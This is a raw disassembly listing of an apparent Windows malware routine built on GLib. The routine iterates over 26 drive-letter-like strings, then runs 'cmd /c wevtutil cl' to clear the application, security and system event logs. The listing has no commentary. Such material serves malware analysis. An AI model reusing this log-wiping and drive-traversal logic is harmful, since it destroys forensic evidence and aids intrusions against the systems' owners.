mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2b8], rax
lea rax, [0x14001989e]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2b0], rax
lea rax, [0x1400198a0]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2a8], rax
lea rax, [0x1400198a2]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2a0], rax
lea rax, [0x1400198a4]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x298], rax
lea rax, [0x1400198a6]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x290], rax
lea rax, [0x1400198a8]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x288], rax
lea rax, [0x1400198aa]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x280], rax
lea rax, [0x1400198ac]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x278], rax
lea rax, [0x1400198ae]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x270], rax
lea rax, [0x1400198b0]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x268], rax
lea rax, [0x1400198b2]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x260], rax
lea rax, [0x1400198b4]
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x258], rax
lea rax, [0x1400198b6]
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x250], rax
lea rax, [0x1400198b8]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x248], rax
lea rax, [0x1400198ba]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x240], rax
lea rax, [0x1400198bc]
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x238], rax
lea rax, [0x1400198be]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x230], rax
lea rax, [0x1400198c0]
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x228], rax
mov edx, 8
mov ecx, 0x1b
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_malloc0_n]
call rax
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x2f0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 8]
mov rax, qword [rbp + 0x2e8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x10]
mov rax, qword [rbp + 0x2e0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x18]
mov rax, qword [rbp + 0x2d8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x20]
mov rax, qword [rbp + 0x2d0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x28]
mov rax, qword [rbp + 0x2c8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x30]
mov rax, qword [rbp + 0x2c0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x38]
mov rax, qword [rbp + 0x2b8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x40]
mov rax, qword [rbp + 0x2b0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x48]
mov rax, qword [rbp + 0x2a8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x50]
mov rax, qword [rbp + 0x2a0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x58]
mov rax, qword [rbp + 0x298]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x60]
mov rax, qword [rbp + 0x290]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x68]
mov rax, qword [rbp + 0x288]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x70]
mov rax, qword [rbp + 0x280]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x78]
mov rax, qword [rbp + 0x278]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x80]
mov rax, qword [rbp + 0x270]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x88]
mov rax, qword [rbp + 0x268]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x90]
mov rax, qword [rbp + 0x260]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x98]
mov rax, qword [rbp + 0x258]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xa0]
mov rax, qword [rbp + 0x250]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xa8]
mov rax, qword [rbp + 0x248]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xb0]
mov rax, qword [rbp + 0x240]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xb8]
mov rax, qword [rbp + 0x238]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xc0]
mov rax, qword [rbp + 0x230]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xc8]
mov rax, qword [rbp + 0x228]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x2f8], rax
mov dword [rbp + 0x21c], 0x1a
mov eax, dword [rbp + 0x21c]
mov dword [rbp + 0x218], eax
mov dword [rbp + 0xbe4], 0
mov dword [rbp + 0xbe4], 0
mov dword [rbp + 0xbe0], 0
mov dword [rbp + 0xbe0], 1
cmp dword [rbp + 0xbe0], 0
jne 0x140006cbb
mov eax, dword [rbp + 0xbe4]
mov dword [rbp + 0x214], eax
mov eax, dword [rbp + 0x214]
add eax, 1
mov dword [rbp + 0xbe4], eax
mov dword [rbp + 0xbe0], 0
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x208], rax
mov eax, dword [rbp + 0x21c]
mov dword [rbp + 0x204], eax
mov eax, dword [rbp + 0xbe4]
cmp eax, dword [rbp + 0x204]
jge 0x140006def
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x1f8], rax
mov eax, dword [rbp + 0x21c]
mov dword [rbp + 0x1f4], eax
mov eax, dword [rbp + 0xbe4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
mov r8d, 0
lea rdx, [0x1400198c2]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0xbb8]
mov qword [rbp + 0x1c0], rax
mov eax, dword [rbp + 0x644]
mov dword [rbp + 0x1bc], eax
mov r8d, dword [rbp + 0x1bc]
mov rcx, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1c8]
mov rax, qword [rbp + 0x1d0]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.program_Iterate
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x1d0], 0
jmp 0x140006c97
nop
mov eax, dword [rbp + 0x21c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x2f8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x2f8], 0
jmp 0x140006e20
nop
lea rax, str.cmd__c__wevtutil_cl_application_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__wevtutil_cl_security_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__wevtutil_cl_system_
mov rcx, rax
call sym.system
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xbb0], rax
mov rax, qword [rbp + 0xbb0]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0xbd0]
mov qword [rbp + 0x130], rax
mov rdx, qword [rbp + 0x130]
mov rax, qword [rbp + 0x138]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_difference]
call rax
mov qword [rbp + 0xba8], rax
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0x128], rax
pxor xmm0, xmm0
cvtsi2sd xmm0, qword [rbp + 0xba8]
movsd xmm1, qword [0x140019e08]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call sym.double_to_string
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x110]
mov r8d, 0
lea rdx, [0x140019923]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x100], rax
mov rdx, qword [rbp + 0x100]
mov rax, qword [rbp + 0x128]
mov r8, rdx
lea rdx, [0x14001917f]
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x100], 0
mov rax, qword [rbp + 0x118]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x118], 0
cmp qword [rbp + 0xbb0], 0
je 0x140006fc9
mov rax, qword [rbp + 0xbb0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xbb0], 0
mov rax, qword [rbp + 0xbb8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbb8], 0
mov rax, qword [rbp + 0xbc0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbc0], 0
cmp qword [rbp + 0xbc8], 0
je 0x14000702d
mov rax, qword [rbp + 0xbc8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbc8], 0
cmp qword [rbp + 0xbd0], 0
je 0x140007055
mov rax, qword [rbp + 0xbd0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xbd0], 0
mov eax, dword [rbp + 0xb94]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xbd8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xbd8], 0
add rsp, 0xca8
pop rbx
pop rbp
ret